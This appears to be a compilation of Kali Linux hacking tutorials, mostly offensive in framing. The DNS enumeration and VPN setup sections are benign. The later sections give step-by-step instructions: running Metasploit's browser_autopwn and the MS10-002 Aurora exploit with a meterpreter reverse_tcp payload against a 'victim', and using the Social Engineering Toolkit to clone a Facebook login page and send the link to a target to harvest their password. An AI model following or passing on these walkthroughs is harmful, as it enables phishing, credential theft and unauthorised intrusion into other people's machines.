Enumerating DNS records with DNSenum Tool in Kali Linux

Multithreaded perl script to enumerate DNS information of a domain and to discover non-contiguous ip blocks.

OPERATIONS:

• Get the host’s addresse (A record).
• Get the namservers (threaded).
• Get the MX record (threaded).
• Perform axfr queries on nameservers and get BIND VERSION (threaded).
• Get extra names and subdomains via google scraping (google query = “allinurl: -www site:domain”).
• Brute force subdomains from file, can also perform recursion on subdomain that have NS records (all threaded).
• Calculate C class domain network ranges and perform whois queries on them (threaded).
• Perform reverse lookups on netranges ( C class or/and whois netranges) (threaded).
• Write to domain_ips.txt file ip-blocks.

Source: https://github.com/fwaeytens/dnsenum

DNS enumeration is the process of locating all DNS servers and DNS entries for an organization. DNS enumeration will allow us to gather critical information about the organization such as usernames, computer names, IP addresses, and so on. To achieve this task, we will use DNSenum

and enter the following command

root@Kali:~# dnsenum - - enum example.com

It Will Show you Host address , Name Servers address , Mail ( MX) Server and Zone Trabsfer Information.

Enumerate DNS Records using dnsdict6

                                            *INTRODUCTION*

If you want to gather information about a target’s DNS, you should probably use a tool like dnsdict6 to help you to enumerate many of the details which are not easily apparent for your average user or websurfer.

With dnsdict6 you find information such as:

·      Subdomain info

·      Enumerate all ipv4 and ipv6 addresses.

·      You can also enumerate details of srv records.

·      Also you can enumerate details of Name Server and Mail Exchanger records.

So, now we will jump into dnsdict6 on Kali Linux, your best option for a penetration testing distribution.

HOW TO OPEN DNSDICT6 ON KALI LINUX

To open dnsdict6 goto > Kali Linux > Information Gathering > DNS Analysis > dnsdict6
See the below image:

DNSDICT6 OPENED

Once you opened dnsdict6, you will find various options on your screen.
A good Pen Tester will always read and understand all options at his disposal.
So lets see what kind of options we have, and some examples:

• -4 : dump ipv4 addresses : Try this example on your terminal > Example > dnsdict6 -4 [url]
• -t [#] : specify the number of threads.  Remember default is set to 8 and max threads you can use is 32. Ex : dnsdict6 -d -t 18 [url]
• -d : it displays ipv6 info on NS, MX DNS domain information. Example : dnsdict6 -d [url]
• -S : perform SRV service records. Example : dnsdict6 -S -t 21 [url]
• -[smlx] : This options is for choose size of the inbuilt dictionary -s : small, -m medium, -l : large, -x: xtreme

For more information you can see the below image:

DNSDICT HELP OPTION

If you need help you can use the help option.
Command is :
dnsdict6 -h
See the result of this command in the below image:

EXAMPLE 1 : ENUMERATION WITH DEFAULT SETTINGS

This example shows the DNS entries of a given url.
Command is :
dnsdict6 google.com
When you run this command with options it automatically takes the default no of threads i.e 8 and dictionary size -m(eduim=796).
And in this command, it takes 1 – 2 minutes to complete this process.
See the below image:

This tool shows you big list of entries if you are enumerating a larger web domain, such as facebook, google, etc…

EXAMPLE 2: ENUMERATING DNS RECORDS

In this example, you will find the nameserver (NS) and Mail exchange (MX) records.
To see the NS & MX records, you have to use “-d ” option. As we have used in our example.
After running the command, it shows the dns records of google.com with ipv4 addresses.
Why Ipv4 addresses? Because we used the -4 option with the command which dump all the ipv4 addresses.
Remember: If we dont specified any threads and dictionary size, it takes it default threads(8) and dictionary size (medium).

EXAMPLE 3 : ENUMERATE  IPV4 IPV6, NAME SERVER, MAIL SERVER  WITH OPTIONS

This example is same as above in case of enumerating NS and MX records but the mail difference is we are going to set the number of threads and dictionary size manually.
Command is :
dnsdict6 -d46 -t 32  google.com
This command will display the NS and MX records with their ipv4 and ipv6 addresses and the number of threads we use is 32 and dictionary file size we used is xtreme.
So try this example and you will be able to gather as much information as you can

EXAMPLE 4 : ENUMERATE SRV SERVICE RECORDS

Finally, we will take a look at an SRV Record example.
First, we should understand what an SRV Record actually is: (according to Wikipedia)
A Service record (SRV record) is a specification of data in the Domain Name System defining the location, i.e. the hostname and port number, of servers for specified services.
It is defined inRFC 2782, and its type code is 33. Some Internet protocols such as the Session Initiation Protocol (SIP) and the Extensible Messaging and Presence Protocol (XMPP) often require SRV support by network elements.

CONCLUSION:-

This tool is used for enumerating DNS records.
Now that you have the basics, you can try more on your own!
This tool will help you better understand the workings and compartmentalization of domains as well as how a the target business network is organized. This information is for educational and legal Pen Testing utilization. Do not do things that are evil and bad.

Configure VPN In Kali Linux

VPN is not configure in Kali Linux. If u want to connect vpn in kali linux , first install pptp and network openvpn in kali linux using apt-get install.
Command :
apt-get install network-manager-openvpn-gnome
apt-get install network-manager-pptp
apt-get install network-manager-pptp-gnome
apt-get install network-manager-strongswan
apt-get install network-manager-vpnc
apt-get install network-manager-vpnc-gnome
/etc/init.d/network-manager restart

Metasploit Browser Autopwn

In nowadays due to firewall restrictions and patch management policies exploitation of systems has become much more difficult.However one of the most efficient way is the use of client-side attacks.Client side attacks requires the user interaction and in most of the cases can be used through social engineering engagements.An employee which will not have the necessary knowledge to understand the risks of opening untrusted links can help an attacker to exploit any internal systems.Also the fact that browsers are not patched as often as operating systems makes the problem bigger.

In this article we will examine the effectiveness of metasploit browser autopwn module.The basic idea behind that module is that it creates a web server in our local machine which will contain different kind of browser exploits.When the user will open the malicious link then the execution of the exploits will start against the browser of the user and if one of the exploits is successful a meterpreter session will open.

In order to use this attack we have to open the metasploit framework and to use the browser_autopwn module.In the next image you can see the available options and default settings for this module.

We will set up the LHOST with our IP address,the SRVPORT with the port 80 (otherwise the link that we have to send to the user must me in the format IP:8080) and the URIPATH with / in order to prevent metasploit to set up random URL’s.

After the execution of this module we will notice that different exploits for a variety of browsers will start loading to our web server

Now we can share the link through our email to our client employees.If any user opens the malicious link,the autopwn module will try all these exploits in order to see if it can break into the client.If the browser is vulnerable to any of these exploits meterpreter sessions will open.

Browser based attacks are not stable.This is because browsers can crash which means that the meterpreter session or the shell access will lost.For that reason the metasploit will try to migrate with a another process more stable as soon as possible.

Conclusion

Most of the organizations are behind proxy firewalls so only the port 80 is allowed.From the other hand many employees are using social networks these days for various reasons.An attacker can exploit that and send malicious links through the social networks to users so the use of this attack can be very effective against companies as it contains exploits for most of the popular browsers and it only requires the mistake of one person in order to be successful.Metasploit Browser Autopwn module is the proof of how dangerous is to open links that are coming from untrusted sources

How to Hack Gmail, Facebook with Set Tool

First open your terminal and type ifconfig to check your IP

Now Open Social Engineering Toolkit (SET)

goto Applications > Kali  linux > Exploitation Tools > Social Enggineering Toolkit > setoolkit

after clicking on setoolkit following windows will display
now type 1 hit enter

now type 2 

    

now type 4 & hit enter

now type 2 

now type ip adress of attacker which is 192.168.65.128 & website that you want to clone here http://facebook.com hit enter

if set ask for run apache server type y and hit enter 

now open ip address of attacker in browser which is 192.168.65.128 then page will look like real facebook login page send this link to taget (http://192.168.65.128/index2.html) through email or chat 

when victim will fire our link in his browser and type his email id and password then one txt file(harvester.txt) will create in your /var/www/ folder check it. and you will get facebook credentials ☺ ☺ ☺

Hack Remote PC with Aurora Attack

 Aurora was a cyber attack which began in mid-2009 and continued through December 2009. The attack was first publicly disclosed by Google on January 12, 2010, in a blog post. In the blog post, Google said the attack originated in China. The attacks were both sophisticated and well resourced and consistent with an advanced persistent threat attack.

The attack has been aimed at dozens of other organizations, of which Adobe Systems, Juniper Networks and Rackspace have publicly confirmed that they were targeted. According to media reports, Yahoo,Symantec, Northrop Grumman, Morgan Stanley and Dow Chemical were also among the targets.

Exploit Targets

Web Browser: Internet Explorer 5, Internet Explorer 6, Internet Explorer 7, Internet Explorer 8

Operating System: Windows vista, windows 7, windows server 2008

Requirement

Attacker: Kali Linux

Victim PC: Windows XP

Open terminal type msfconsole

Now type use exploit/windows/browser/ms10_002_aurora

Msf exploit (ms10_002_aurora)>set payload windows/meterpreter/reverse_tcp

Msf exploit (ms10_002_aurora)>set lhost 192.168.65.128 (IP of Local Host)

Msf exploit (ms10_002_aurora)>set srvhost 192.168.65.128 (This must be an address on the local machine)

Msf exploit (ms10_002_aurora)>set uripath rajesh (The Url to use for this exploit)

Msf exploit (ms10_002_aurora)>exploit

Collect Email Address From Website

First open your terminal and type msfconsole

Now type search collector

Now type use auxiliary/gather/search_email_collector

Then type show options

The next step you need to set up the domain you want to locate the email address. Now type set domain (www.example.com)